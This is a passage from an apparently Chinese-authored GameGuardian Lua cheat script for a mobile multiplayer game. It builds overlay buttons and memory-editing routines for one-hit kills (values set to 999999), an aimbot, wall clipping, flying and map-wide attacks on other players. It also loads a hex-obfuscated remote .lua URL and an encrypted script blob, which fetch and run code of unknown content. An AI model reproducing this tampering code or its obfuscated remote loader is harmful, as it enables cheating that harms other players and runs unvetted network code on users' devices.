luajava.newThread(function() pcall(func) end):start() end, onTouch = function(v, event) local Action = event:getAction() if Action == MotionEvent.ACTION_DOWN then isMove = false RawX = event:getRawX() RawY = event:getRawY() x = param1[name].x y = param1[name].y elseif Action == MotionEvent.ACTION_MOVE then isMove = true param1[name].x = tonumber(x) + (event:getRawX() - RawX) param1[name].y = tonumber(y) + (event:getRawY() - RawY) window:updateViewLayout(_ENV[name], param1[name]) end end, { TextView, text = name, gravity = "center", layout_width = "wrap_content", layout_height = "wrap_content", padding={'10dp','5dp','10dp','5dp'} } }) local function invoke2() window:addView(_ENV[name], param1[name]) end local runnable = luajava.getRunnable(invoke2) local handler = luajava.getHandler() handler:post(runnable) end invoke(name,func1,func2) end function rmvfloat(name) floattable[name] = 0 local function invoke2() window:removeView(_ENV[name]) end local runnable = luajava.getRunnable(invoke2) local handler = luajava.getHandler() handler:post(runnable) end paramt = {} titletable = {} corb = true function getLayoutParams2() local prm = luajava.new(WindowManager.LayoutParams) layoutParams1 = prm if (Build.VERSION.SDK_INT >= 26) then -- 设置悬浮窗方式 layoutParams1.type = prm.TYPE_APPLICATION_OVERLAY else layoutParams1.type = prm.TYPE_PHONE end layoutParams1.format = PixelFormat.RGBA_8888 -- 设置背景 layoutParams1.flags = prm.FLAG_NOT_FOCUSABLE -- 焦点设置Finish layoutParams1.gravity = Gravity.CENTER -- 重力设置 layoutParams1.width = prm.WRAP_CONTENT -- 布局宽度 layoutParams1.height = prm.WRAP_CONTENT -- 布局高度 return layoutParams1 end namelist = {} param1 = {} floattable = {} function newfloat(name,func1,func2) if _ENV[name]~=nil then floattable[name] = 1 local function invoke2() window:addView(_ENV[name], param1[name]) end local runnable = luajava.getRunnable(invoke2) local handler = luajava.getHandler() handler:post(runnable) return 0 end floattable[name] = 1 local func = 开关(name.."k",func1,func2) local function invoke(name,func1,func2) if not name then name = "未设置" end nameid = name..guid() local ok local RawX, RawY, x, y nameid1 = name..guid() if not namelist[name] then namelist[name] = false end if namelist[name] ~= false then clclcl = "#aa269843" else clclcl = "#aa161616" end param1[name] = getLayoutParams2() _ENV[name] = luajava.loadlayout( { LinearLayout, layout_width = "wrap_content", id = luajava.newId(nameid1), layout_height = "wrap_content", background = luajava.loadlayout { GradientDrawable, color = clclcl, cornerRadius = 10 }, onClick = function() if namelist[name] == false then _ENV[name]:setBackground(luajava.loadlayout { GradientDrawable, color = "#aa269843", cornerRadius = 10 }) namelist[name] = true elseif namelist[name] == true then _ENV[name]:setBackground(luajava.loadlayout { GradientDrawable, color = "#aa161616", cornerRadius = 10 }) namelist[name] = false end luajava.newThread(function() pcall(func) end):start() end, onTouch = function(v, event) local Action = event:getAction() if Action == MotionEvent.ACTION_DOWN then isMove = false RawX = event:getRawX() RawY = event:getRawY() x = param1[name].x y = param1[name].y elseif Action == MotionEvent.ACTION_MOVE then isMove = true param1[name].x = tonumber(x) + (event:getRawX() - RawX) param1[name].y = tonumber(y) + (event:getRawY() - RawY) window:updateViewLayout(_ENV[name], param1[name]) end end, { TextView, text = name, gravity = "center", layout_width = "wrap_content", layout_height = "wrap_content", padding={'10dp','5dp','10dp','5dp'} } }) local function invoke2() window:addView(_ENV[name], param1[name]) end local runnable = luajava.getRunnable(invoke2) local handler = luajava.getHandler() handler:post(runnable) end invoke(name,func1,func2) end function rmvfloat(name) floattable[name] = 0 local function invoke2() window:removeView(_ENV[name]) end local runnable = luajava.getRunnable(invoke2) local handler = luajava.getHandler() handler:post(runnable) end 播报=string.toMusic 搜索值=gg.searchNumber 设置内存=gg.setRanges 弹出提示=gg.toast 提示=gg.diyToast 搜索=search --函数算法 -- 定义一个函数来切换提示方式 function 切换提示方式(useToast) if useToast then 提示 = gg.toast else 提示 = gg.diyToast end 语音播报 = 提示 -- 更新语音播报为当前提示方式 end function 初始化功能函数() 核心1=0 核心2=0 核心3=0 核心4=0 核心5=0 雾气=0 fw1=false 范围=false 秒杀=false 超范围计算秒杀=false 全核心秒杀=false 斗宗=false 体魄自瞄=false 自瞄=false 灵体=false 边打边飞=false 移速=false 飞行=false 悬浮=false 重力=false 后坐力=false 视角=false 跳跃=false 旋转=false 倒立=false 穿墙=false 物理穿墙=false 全图毒人=false 全图刀人 = false 全图离线 = false 天线=false 天罚=false 坐标=false 甩枪=false end 初始化功能函数() loadYunLua("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x64\x6F\x77\x6E\x6C\x75\x61\x2E\x6E\x65\x74\x6C\x69\x66\x79\x2E\x61\x70\x70\x2F\x73\x75\x61\x6E\x66\x61\x32\x2E\x6C\x75\x61\x3F\x64\x6F\x77\x6E\x6C\x6F\x61\x64") --梦雪修改器配置端 --落殇修改算法 loadYunLuaGroup("5C3C4E3813681C4C204C35346F1B4C2F7EFF612D2B221779A4DEA2EE4D5B0D1E6DCD82D1A08DE1") gg.clearResults() sj={} xgz={}function search(ss,lx,nc,dz1,dz2) if ss~=nil then if lx~=nil then if nc==nil then nc=32 end gg.setRanges(nc) if dz1==nil then dz1="-1" end if dz2==nil then dz1="0" end gg.searchNumber(ss,lx,false,gg.SIGN_EQUAL,dz1,dz2) sl=gg.getResultCount() if sl~=0 then sj=gg.getResults(sl) gg.clearResults() end end end end function py1(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value==value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} end end function xg1(value,lx,py,dj) if #sj~=nil then z={} for i=1,#sj do z[i]={} z[i].address=sj[i].address+py z[i].flags=lx z[i].value=value if dj==true then z[i].freeze=true end end if dj==true then gg.addListItems(z) else gg.clearList() gg.setValues(z) end end end Memorys=4 qhw=2 qhd=1 zzmw={1, 17039364, 3} zzmd={3, 17039361, 17039361; 16777215} function hqsj() gg.setRanges(Memorys) gg.clearResults() flags=gg.TYPE_FLOAT gg.searchNumber("1,067,506,044", gg.TYPE_QWORD) f=gg.getResults(100) dl=gg.getValues(f) ddecimalNumber=dl[1].address dhexNumber=string.format("%X", ddecimalNumber) gg.searchAddress(""..dhexNumber.."") DdecimalNumber=tonumber("0x"..dhexNumber) addresszX=DdecimalNumber+-16 addresszY=DdecimalNumber+-12 DX=string.format("0x%X", addresszX) DY=string.format("0x%X", addresszY) SX=gg.getValues({{address=""..DX.."", flags=16, value=null}}) SY=gg.getValues({{address=""..DY.."", flags=16, value=null}}) WDD={} WDD["zbx"]=SX[1].value WDD["zby"]=SX[1].value WDD["dzX"]=DX WDD["dzY"]=DY end function ss() gg.setRanges(Memorys) gg.clearResults() flags=gg.TYPE_FLOAT, gg.searchNumber(zzmw[qhw], gg.TYPE_QWORD) k=gg.getResults(100) l=gg.getValues(k) decimalNumber=l[1].address hexNumber=string.format("%X", decimalNumber) gg.searchAddress(""..hexNumber.."") decimalNumber=tonumber("0x"..hexNumber) addressy=decimalNumber-8 addressx=decimalNumber-12 addressz=decimalNumber-4 y=string.format("0x%X", addressy) x=string.format("0x%X", addressx) z=string.format("0x%X", addressz) kx=gg.getValues({{address=""..y.."", flags=16, value=null}}) xkx=gg.getValues({{address=""..x.."", flags=16, value=null}}) zkx=gg.getValues({{address=""..z.."", flags=16, value=null}}) WB={} WB["zby"]=kx[1].value WB["dz"]=y end function dd() gg.setRanges(Memorys) gg.clearResults() flags=gg.TYPE_FLOAT gg.searchNumber("17,039,361", gg.TYPE_QWORD) f=gg.getResults(100) dl=gg.getValues(f) ddecimalNumber=dl[1].address dhexNumber=string.format("%X", ddecimalNumber) gg.searchAddress(""..dhexNumber.."") ddecimalNumber=tonumber("0x"..dhexNumber) addressyD=ddecimalNumber-8 addressxD=ddecimalNumber-12 addresszD=ddecimalNumber-4 Dy=string.format("0x%X", addressyD) Dx=string.format("0x%X", addressxD) Dz=string.format("0x%X", addresszD) Dyz=gg.getValues({{address=""..Dy.."", flags=16, value=null}}) Dxz=gg.getValues({{address=""..Dx.."", flags=16, value=null}}) Dzz=gg.getValues({{address=""..Dz.."", flags=16, value=null}}) WBD={} WBD["zby"]=Dyz[1].value WBD["dz"]=Dy end function 基址秒() gg.clearResults() gg.setRanges(4) gg.searchNumber(4652218415073722371, 32, false , gg.SIGN_EQUAL, 0, -1) gg.refineNumber(4652218415073722371, 32, false , gg.SIGN_EQUAL, 0, -1) if gg.getResultsCount()==0 then gg.toast("Attack!") else local result=gg.getResults(gg.getResultsCount()) gg.clearResults() local offset_array_1={} for k, v in ipairs(result) do offset_array_1[#offset_array_1+1]={["address"]=v["address"]-80, ["flags"]=32} end offset_array_1=gg.getValues(offset_array_1) local verify_array_1={} for k, v in ipairs(offset_array_1) do if v["value"]==2164260864 then verify_array_1[#verify_array_1+1]=result[k] end end result=verify_array_1 local offset_array_2={} for k, v in ipairs(result) do offset_array_2[#offset_array_2+1]={["address"]=v["address"]-68, ["flags"]=32} end offset_array_2=gg.getValues(offset_array_2) local verify_array_2={} for k, v in ipairs(offset_array_2) do if v["value"]==236227496247808 then verify_array_2[#verify_array_2+1]=result[k] end end result=verify_array_2 local offset_array_3={} for k, v in ipairs(result) do offset_array_3[#offset_array_3+1]={["address"]=v["address"]-56, ["flags"]=32} end offset_array_3=gg.getValues(offset_array_3) local verify_array_3={} for k, v in ipairs(offset_array_3) do if v["value"]==2199026335744 then verify_array_3[#verify_array_3+1]=result[k] end end result=verify_array_3 local offset_array_4={} for k, v in ipairs(result) do offset_array_4[#offset_array_4+1]={["address"]=v["address"]-52, ["flags"]=32} end offset_array_4=gg.getValues(offset_array_4) local verify_array_4={} for k, v in ipairs(offset_array_4) do if v["value"]==236227496247808 then verify_array_4[#verify_array_4+1]=result[k] end end result=verify_array_4 local offset_array_5={} for k, v in ipairs(result) do offset_array_5[#offset_array_5+1]={["address"]=v["address"]-40, ["flags"]=32} end offset_array_5=gg.getValues(offset_array_5) local verify_array_5={} for k, v in ipairs(offset_array_5) do if v["value"]==3080192 then verify_array_5[#verify_array_5+1]=result[k] end end result=verify_array_5 local offset_array_6={} for k, v in ipairs(result) do offset_array_6[#offset_array_6+1]={["address"]=v["address"]-36, ["flags"]=32} end offset_array_6=gg.getValues(offset_array_6) local verify_array_6={} for k, v in ipairs(offset_array_6) do if v["value"]==0 then verify_array_6[#verify_array_6+1]=result[k] end end result=verify_array_6 local offset_array_7={} for k, v in ipairs(result) do offset_array_7[#offset_array_7+1]={["address"]=v["address"]-32, ["flags"]=32} end offset_array_7=gg.getValues(offset_array_7) local verify_array_7={} for k, v in ipairs(offset_array_7) do if v["value"]==0 then verify_array_7[#verify_array_7+1]=result[k] end end result=verify_array_7 local offset_array_8={} for k, v in ipairs(result) do offset_array_8[#offset_array_8+1]={["address"]=v["address"]-28, ["flags"]=32} end offset_array_8=gg.getValues(offset_array_8) local verify_array_8={} for k, v in ipairs(offset_array_8) do if v["value"]==4575657221408423936 then verify_array_8[#verify_array_8+1]=result[k] end end result=verify_array_8 local offset_array_9={} for k, v in ipairs(result) do offset_array_9[#offset_array_9+1]={["address"]=v["address"]-24, ["flags"]=32} end offset_array_9=gg.getValues(offset_array_9) local verify_array_9={} for k, v in ipairs(offset_array_9) do if v["value"]==1065353216 then verify_array_9[#verify_array_9+1]=result[k] end end result=verify_array_9 local offset_array_10={} for k, v in ipairs(result) do offset_array_10[#offset_array_10+1]={["address"]=v["address"]-20, ["flags"]=32} end offset_array_10=gg.getValues(offset_array_10) local verify_array_10={} for k, v in ipairs(offset_array_10) do if v["value"]==0 then verify_array_10[#verify_array_10+1]=result[k] end end result=verify_array_10 local offset_array_11={} for k, v in ipairs(result) do offset_array_11[#offset_array_11+1]={["address"]=v["address"]-16, ["flags"]=32} end offset_array_11=gg.getValues(offset_array_11) local verify_array_11={} for k, v in ipairs(offset_array_11) do if v["value"]==0 then verify_array_11[#verify_array_11+1]=result[k] end end result=verify_array_11 local offset_array_12={} for k, v in ipairs(result) do offset_array_12[#offset_array_12+1]={["address"]=v["address"]-12, ["flags"]=32} end offset_array_12=gg.getValues(offset_array_12) local verify_array_12={} for k, v in ipairs(offset_array_12) do if v["value"]==4489188105126936576 then verify_array_12[#verify_array_12+1]=result[k] end end result=verify_array_12 local offset_array_13={} for k, v in ipairs(result) do offset_array_13[#offset_array_13+1]={["address"]=v["address"]+0, ["flags"]=32} end offset_array_13=gg.getValues(offset_array_13) local verify_array_13={} for k, v in ipairs(offset_array_13) do if v["value"]==4652218415073722371 then verify_array_13[#verify_array_13+1]=result[k] end end result=verify_array_13 local offset_array_14={} for k, v in ipairs(result) do offset_array_14[#offset_array_14+1]={["address"]=v["address"]+4, ["flags"]=16} end offset_array_14=gg.getValues(offset_array_14) local verify_array_14={} for k, v in ipairs(offset_array_14) do if v["value"]==4.5 then verify_array_14[#verify_array_14+1]=result[k] end end result=verify_array_14 if #result>0 then local modify_array_1={{["address"]=result[1]["address"]+8, ["flags"]=16, ["value"]=999999, ["freeze"]= false }, {["address"]=result[1]["address"]+12, ["flags"]=16, ["value"]=999999, ["freeze"]= false }} local modify_array_2={} for _, v in ipairs(modify_array_1) do if v["freeze"] then modify_array_2[#modify_array_2+1]=v else gg.setValues({v}) end end gg.addListItems(modify_array_2) gg.toast("Attack!") else gg.toast("Attack!") end end end function S_Pointer(t_So, t_Offset, _bit) local function getRanges() local ranges={} local t=gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v.type:sub(2, 2)=='w' then table.insert(ranges, v) end end return ranges end local function Get_Address(N_So, Offset, ti_bit) local ti=gg.getTargetInfo() local S_list=getRanges() local _Q=tonumber(0x167ba0fe) local t={} local _t local _S= nil if ti_bit then _t=32 else _t=4 end for i in pairs(S_list) do local _N=S_list[i].internalName:gsub('^.*/', '') if N_So[1]==_N and N_So[2]==S_list[i].state then _S=S_list[i] break end end if _S then t[#t+1]={} t[#t].address=_S.start+Offset[1] t[#t].flags=_t if #Offset~=1 then for i=2, #Offset do local S=gg.getValues(t) t={} for _ in pairs(S) do if not ti.x64 then S[_].value=S[_].value&0xFFFFFFFF end t[#t+1]={} t[#t].address=S[_].value+Offset[i] t[#t].flags=_t end end end _S=t[#t].address print(string.char(231, 190, 164, 58).._Q) end return _S end local _A=string.format('0x%X', Get_Address(t_So, t_Offset, _bit)) return _A end function XGBase(Address, AFV) local address=0 for index, offset in ipairs(Address) do if index==1 then address=offset else address=gg.getValues({{address=address+offset, flags=4}})[1].value end end local Value, Freeze={}, {} for index, value in ipairs(AFV) do local VALUE={address=address+value[3], flags=value[2], value=value[1], freeze= true } if value[4] then Freeze[#Freeze+1]=VALUE else Value[#Value+1]=VALUE end end gg.setValues(Value) gg.addListItems(Freeze) end function xqmnb(Search, Modification) gg.setRanges(Search[1].memory) gg.searchNumber(Search[3].value, Search[3].type, false , 536870912, 0, -1) if gg.getResultCount()==0 then gg.diyToast(Search[2].name..'开启失败') return end local Result=gg.getResults(gg.getResultCount()) local sum for index=4, #Search do sum=0 for i=1, #Result do if gg.getValues({{address=Result[i].address+Search[index].offset, flags=Search[index].type}})[1].value~=Search[index].lv then Result[i].Usable= true sum=sum+1 end end if sum==#Result then gg.diyToast(Search[2].name..'开启失败') return end end local Data, Freeze, Freezes={}, {}, 0 sum=0 for index, value in ipairs(Modification) do for index=1, #Result do if not Result[index].Usable then local Value={address=Result[index].address+value.offset, flags=value.type, value=value.value, freeze= true } if value.freeze then Freeze[#Freeze+1]=Value Freezes=Freezes+1 else Data[#Data+1]=Value end sum=sum+1 end end end gg.setValues(Data) gg.addListItems(Freeze) if Freezes==0 then gg.diyToast(Search[2].name..'开启成功,共修改'..sum..'条数据') else gg.diyToast(Search[2].name..'开启成功,共修改'..sum..'条数据,冻结'..Freezes..'条数据') end end local recordCount=0 local maxRecordCount=3 local function clearLastRecord() lastRecord={} gg.diyToast('正在初始化') end local function startRecording() search(17039364, 4, 4) py1(16777215, 4, -36) py1(257, 4, -32) local x={} local y={} local z={} for i=1, #sj do x[#x+1]={address=sj[i].address-4, flags=16} y[#y+1]={address=sj[i].address-8, flags=16} z[#z+1]={address=sj[i].address-12, flags=16} end x=gg.getValues(x) y=gg.getValues(y) z=gg.getValues(z) local recordName=tostring(#sj+1) gg.diyToast('初始化完成') lastRecord={name=recordName, x=x[1].value, y=y[1].value, z=z[1].value} end gg.mr=262207; gg.Jh=2; gg.Ch=1; gg.Ca=4; gg.Cd=8; gg.Cb=16; gg.PS=262144; gg.A=32; gg.J=65536; gg.S=64; gg.As=524288; gg.O=-1032320; gg.B=131072; gg.Xa=16384; gg.Xs=32768 gg.setRanges(gg.mr) function GN(V) gg.setRanges(V["内存"]) gg.searchNumber(V["搜索"]["VALUE"], V["搜索"]["TYPE"]) if V["搜索"]["变化"]=="=" then ; gg.num=100; gg.SIGN=gg.SIGN_FUZZY_EQUAL; else gg.num=1000; gg.SIGN=gg.SIGN_FUZZY_EQUAL if V["搜索"]["变化"]=="+" then gg.SIGN=gg.SIGN_FUZZY_GREATER elseif V["搜索"]["变化"]=="-" then gg.SIGN=gg.SIGN_FUZZY_LESS elseif V["搜索"]["变化"]=="*" then gg.SIGN=gg.SIGN_FUZZY_NOT_EQUAL end ; end gg.sleep(gg.num) gg.searchFuzzy("0", gg.SIGN, V["搜索"]["TYPE"]) if V["改善"] then gg.refineNumber(V["改善"]["VALUE"], V["改善"]["TYPE"]) end if gg.getResultCount()>=10^7 then ; ; end ; gg.ZT="共修改" local t=gg.getResults(9999) gg.ttt={} local n=0 for i, v in ipairs(t) do local tt={} for P=1, #V["指针"] do local pyjg=gg.getValues({{address=v.address+V["指针"][P]["PYL"], flags=V["指针"][P]["TYPE"]}})[1].value; if pyjg==V["指针"][P]["VALUE"] then table.insert(tt, "") end end if #tt==#V["指针"] then for P=1, #V["修改"] do n=n+1 gg.ttt[n]={} local ttt={{address=v.address+V["修改"][P]["PYL"], flags=V["修改"][P]["TYPE"], value=V["修改"][P]["VALUE"]}}; if V["修改"][P]["FREEZE"] then ; ttt[1].freeze=V["修改"][P]["FREEZE"]; gg["冻结"]= true ; end ; gg.ttt[n]=ttt[1] end ; gg.ZT="共修改"; if n==V["次数"] then ; break ; end ; end end gg.diyToast(V["名称"]..gg.ZT..""..n.."个数据") gg.num, gg.SIGN= nil , nil if n==0 then gg.ttt= nil else if gg["冻结"] then gg.addListItems(gg.ttt) gg["冻结"]= nil else gg.addListItems(gg.ttt); gg.setValues(gg.ttt); end end return gg.ttt end local neicun=4 function Format(tab, format, value, type, Function) if format=="分配" then tab[1]["flags"]=type return gg.getValues(tab) elseif format=="修改" then tab[1]["flags"]=type tab[1]["value"]=value return gg.setValues(tab) elseif format=="冻结" then tab[1]["flags"]=type tab[1]["freeze"]= true tab[1]["value"]=value tab[1]["name"]=Function or "功能" return gg.addListItems(tab) elseif format=="加载" then tab[1]["flags"]=type return gg.loadResults(tab) end end function qnmbd() gg.setRanges(4) gg.searchNumber("17039364", gg.TYPE_DWORD, false , gg.SIGN_EQUAL, 0, -1) gg.searchNumber("17039364", gg.TYPE_DWORD, false , gg.SIGN_EQUAL, 0, -1) end DWORD=gg.TYPE_DWORD DOUBLE=gg.TYPE_DOUBLE FLOAT=gg.TYPE_FLOAT WORD=gg.TYPE_WORD BYTE=gg.TYPE_BYTE XOR=gg.TYPE_XOR QWORD=gg.TYPE_QWORD function editData(qmnb, qmxg) gg.setVisible( false ) qmnbv=qmnb[3]["value"] or qmnb[3][1] qmnbt=qmnb[3]["type"] or qmnb[3][2] qmnbn=qmnb[2]["name"] or qmnb[2][1] gg.setRanges(qmnb[1]["memory"] or qmnb[1][1]) gg.searchNumber(qmnbv, qmnbt) gg.refineNumber(qmnbv, qmnbt) sz=gg.getResultCount() if sz==0 then else sl=gg.getResults(999999) for i=1, sz do pdsz= true for v=4, #qmnb do if pdsz== true then pysz={{}} pysz[1].address=sl[i].address+(qmnb[v]["offset"] or qmnb[v][2]) pysz[1].flags=qmnb[v]["type"] or qmnb[v][3] szpy=gg.getValues(pysz) tzszpd=tostring(qmnb[v]["lv"] or qmnb[v][1]):gsub(",", "") pyszpd=tostring(szpy[1].value):gsub(",", "") if tzszpd==pyszpd then pdjg= true pdsz= true else pdjg= false pdsz= false end end end if pdjg== true then szpy=sl[i].address for x=1, #qmxg do xgsz=qmxg[x]["value"] or qmxg[x][1] xgpy=szpy+(qmxg[x]["offset"] or qmxg[x][2]) xglx=qmxg[x]["type"] or qmxg[x][3] xgdj=qmxg[x]["freeze"] or qmxg[x][4] xg={{address=xgpy, flags=xglx, value=xgsz}} if xgdj== true then xg[1].freeze=xgdj gg.addListItems(xg) else gg.setValues(xg) end end xgjg= true end end end end D=gg.TYPE_DWORD E=gg.TYPE_DOUBLE F=gg.TYPE_FLOAT W=gg.TYPE_WORD B=gg.TYPE_BYTE X=gg.TYPE_XOR Q=gg.TYPE_QWORD function readPointer(name, offset, i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[ true ]=32, [ false ]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2, #offset do addr=gg.getValues({{address=addr, flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end gg.edits= function (addr, Table, name) local Table1={{}, {}} for k, v in ipairs(Table) do local value={address=addr+v[3], value=v[1], flags=v[2], freeze=v[4]} if v[4] then Table1[2][#Table1[2]+1]=value else Table1[1][#Table1[1]+1]=value end end gg.addListItems(Table1[2]) gg.setValues(Table1[1]) gg.diyToast((name or "").."开启成功, 共修改"..#Table.."个值") end gg.mr=262207; gg.Jh=2; gg.Ch=1; gg.Ca=4; gg.Cd=8; gg.Cb=16; gg.PS=262144; gg.A=32; gg.J=65536; gg.S=64; gg.As=524288; gg.O=-1032320; gg.B=131072; gg.Xa=16384; gg.Xs=32768 gg.setRanges(gg.mr) function LSQ_Chain(so, offset, format, value, type, Function) getRanges=getRanges or ( function () local ranges={} local t=gg.getRangesList('^/data/*.so*$') for i, v in pairs(t) do if v["type"]:sub(2, 2)=='w' then ranges[#ranges+1]=v end end return ranges end ) local rest, ranges, sostart, valtype={}, getRanges(), nil , gg.TYPE_DWORD if gg.getTargetInfo()["x64"] then valtype=gg.TYPE_QWORD end for i in pairs(ranges) do local _name=ranges[i]["internalName"]:gsub('^.*/', '') if so[1]==_name and so[2]==ranges[i]["state"] then sostart=ranges[i]["start"] break end end if sostart then if offset[1] then for i=1, #offset do rest={{flags=valtype, address=sostart+offset[i]}} rest=gg.getValues(rest) if i==#offset then break end if valtype==gg.TYPE_DWORD then sostart=rest[1].value&0xFFFFFFFF else sostart=rest[1].value end end end if #rest==1 then end return Format(rest, format, value, type, Function) end gg.toast("功能:"..Function.."开启失败") print("功能开启失败原因: 未找到基址头") return os.exit() end function LSQ_pointer(search, write) if search[5] or search[6] then local region_start=search[5] local region_end=search[6] else local region_start=0 local region_end=-1 end gg.setRanges(search[1][3]) gg.searchNumber(search[1][1], search[1][2], false , gg.SIGN_EQUAL, region_start, region_end) gg.refineNumber(search[1][1], search[1][2], false , gg.SIGN_EQUAL, region_start, region_end) if gg.getResultsCount()==0 then return false else local result=gg.getResults(gg.getResultsCount()) for i=2, #search do local offset_array={} for k, v in ipairs(result) do offset_array[#offset_array+1]={["address"]=v["address"]+search[i][2], ["flags"]=search[i][3]} end offset_array=gg.getValues(offset_array) local verify_array={} for k, v in ipairs(offset_array) do if v["value"]==search[i][1] then verify_array[#verify_array+1]=result[k] end end result=verify_array end if #result>0 then local Table={{}, {}} for k, v in ipairs(result) do for kk, vv in ipairs(write) do local Modifythe_array={["address"]=v["address"]+vv[2], ["flags"]=vv[3], ["value"]=vv[1], ["freeze"]=vv[4]} if vv[4] then Table[2][#Table[2]+1]=Modifythe_array else Table[1][#Table[1]+1]=Modifythe_array end end end gg.addListItems(Table[2]) gg.setValues(Table[1]) else end end end sj={} xgz={} function search(ss, lx, nc, dz1, dz2) if ss~= nil and lx~= nil then nc=4 gg.setRanges(nc) gg.searchNumber(ss, lx, false , gg.SIGN_EQUAL, 0, -1) local sl=gg.getResultCount() if sl~=0 then sj=gg.getResults(sl) else nc=-2080896 gg.setRanges(nc) gg.searchNumber(ss, lx, false , gg.SIGN_EQUAL, 0, -1) sl=gg.getResultCount() if sl~=0 then sj=gg.getResults(sl) end end end end function py1(value, lx, py) if #sj~= nil then local z1={} local z2={} for i=1, #sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1, #sj do if z1[i].value==value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 end end function xg1(value, lx, py, dj) if #sj~= nil then local z={} for i=1, #sj do z[i]={} z[i].address=sj[i].address+py z[i].flags=lx z[i].value=value if dj== true then z[i].freeze= true end end if dj== true then gg.addListItems(z) else gg.clearList() gg.setValues(z) end end end function readPointer(name, offset, i) local re=gg.getRangesList(name) local x64=gg.getTargetInfo().x64 local va={[ true ]=32, [ false ]=4} if re[i or 1] then local addr=re[i or 1].start+offset[1] for i=2, #offset do addr=gg.getValues({{address=addr, flags=va[x64]}}) if not x64 then addr[1].value=addr[1].value&0xFFFFFFFF end addr=addr[1].value+offset[i] end return addr end end function xtnb(Search, Get, Type, Range, Name) gg.clearResults() gg.setRanges(Range) gg.setVisible( false ) if Search[1][1]~= false then gg.searchAddress(Search[1][1], 0xFFFFFFFF, Search[1][4] or Type, gg.SIGN_EQUAL, Search[1][5] or 1, Search[1][6] or -1) end gg.searchNumber(Search[1][2], Search[1][4] or Type, false , gg.SIGN_EQUAL, Search[1][5] or 1, Search[1][6] or -1) local count=gg.getResultCount() local result=gg.getResults(count) gg.clearResults() local data={} local base=Search[1][3] if (count>0) then for i, v in ipairs(result) do v.isUseful= true end for k=2, #Search do local tmp={} local offset=Search[k][2]-base local num=Search[k][1] for i, v in ipairs(result) do tmp[#tmp+1]={} tmp[#tmp].address=v.address+offset tmp[#tmp].flags=Search[k][3] or Type end tmp=gg.getValues(tmp) for i, v in ipairs(tmp) do if v.flags==16 or v.flags==64 then values=tostring(v.value):sub(1, 6) num=tostring(num):sub(1, 6) else values=v.value end if tostring(values)~=tostring(num) then result[i].isUseful= false end end end for i, v in ipairs(result) do if (v.isUseful) then data[#data+1]=v.address end end if (#data>0) then local t, t_={}, {} local base=Search[1][3] for i=1, #data do for k, w in ipairs(Get) do offset=w[2]-base if w[1]== false then t_[#t_+1]={} t_[#t_].address=data[i]+offset t_[#t_].flags=Type th_=(th_) and th_+1 or 1 else t[#t+1]={} t[#t].address=data[i]+offset t[#t].flags=w[3] or Type t[#t].value=w[1] tg_=(tg_) and tg_+1 or 1 if (w[4]== true ) then local item={} item[#item+1]=t[#t] item[#item].freeze=w[4] gg.addListItems(item) end end end end tg=(tg_) and "\n已修改"..tg_.."条数据" or "" th=(th_) and "\n已获取"..th_.."条数据" or "" gg.setValues(t) t_=gg.getValues(t_) gg.loadResults(t_) gg.diyToast("\n"..Name.."搜索成功!\n偏移到"..#data.."条数据"..tg..th) tg_, th_= nil , nil else gg.diyToast("\n"..Name.."开启失败", false ) return false end else gg.diyToast(Name.."开启失败") return false end end function drw() gg.sleep(100) gg.clearResults() CT= false CT= false CT= false gg.sleep(100) end function CTNB() gg.clearResults() gg.setRanges(4) gg.searchNumber(17039361, gg.TYPE_QWORD) rs=gg.getResultCount() rs=rs-3 hzrs= true local hzwjrs=draw.text('附近玩家为'..rs..'个', 200, 200) while hzrs do gg.clearResults() gg.setRanges(4) gg.searchNumber(17039361, gg.TYPE_QWORD) rs=gg.getResultCount() rs=rs-3 draw.updateText(hzwjrs, '附近玩家为'..rs..'个') gg.sleep(100) end end function xi() while true do Dyz=gg.getValues({{address=""..Dy.."", flags=16, value=null}}) Dxz=gg.getValues({{address=""..Dx.."", flags=16, value=null}}) Dzz=gg.getValues({{address=""..Dz.."", flags=16, value=null}}) aimpos={Dxz[1].value, Dyz[1].value, Dzz[1].value} kx=gg.getValues({{address=""..y.."", flags=16, value=null}}) xkx=gg.getValues({{address=""..x.."", flags=16, value=null}}) zkx=gg.getValues({{address=""..z.."", flags=16, value=null}}) player={xkx[1].value, kx[1].value, zkx[1].value} sjaddrX=(WDD["dzX"]) sjaddrY=(WDD["dzY"]) sjaddr={sjaddrX, sjaddrY} xy=aimpos[1]*player[1] local disx, disy, disz=aimpos[1]-player[1], (aimpos[2]-1)-player[2], aimpos[3]-player[3] local dis=math.sqrt(disx*disx+disz*disz) local radtodegx=ZX/math.pi local radtodegy=ZY/math.pi local sjx=-(radtodegx*math.atan2(disx, disz)) local sjy=-(radtodegy*math.atan2(disy, dis)) gg.setRanges(Memorys) gg.setValues({{address=sjaddr[1], flags=gg.TYPE_FLOAT, value=sjx}, {address=sjaddr[2], flags=gg.TYPE_FLOAT, value=sjy}}) end end local recordCount=0 local maxRecordCount=3 local function clearLastRecord() lastRecord={} gg.toast('已自动清除上次的船锚') end local function startRecording() gg.clearResults() search(17039364, 4, 4) py1(16777215, 4, -40) py1(257, 4, -36) py1(17039364, 4, 0) local x={} local y={} local z={} for i=1, #sj do x[#x+1]={address=sj[i].address-4, flags=16} y[#y+1]={address=sj[i].address-8, flags=16} z[#z+1]={address=sj[i].address-12, flags=16} end x=gg.getValues(x) y=gg.getValues(y) z=gg.getValues(z) local recordName=tostring(#sj+1) gg.toast('船锚已放置:'..recordName) lastRecord={name=recordName, x=x[1].value, y=y[1].value, z=z[1].value} end function rspy1(value,lx,py) if #sj~=nil then z1={} z2={} for i=1,#sj do z1[i]={} z1[i].address=sj[i].address+py z1[i].flags=lx end z1=gg.getValues(z1) for i=1,#sj do if z1[i].value==value then z2[#z2+1]={} z2[#z2]=sj[i] end end sj=z2 z1={} z2={} 语音播报("正在加载") 提示("正在加载") else 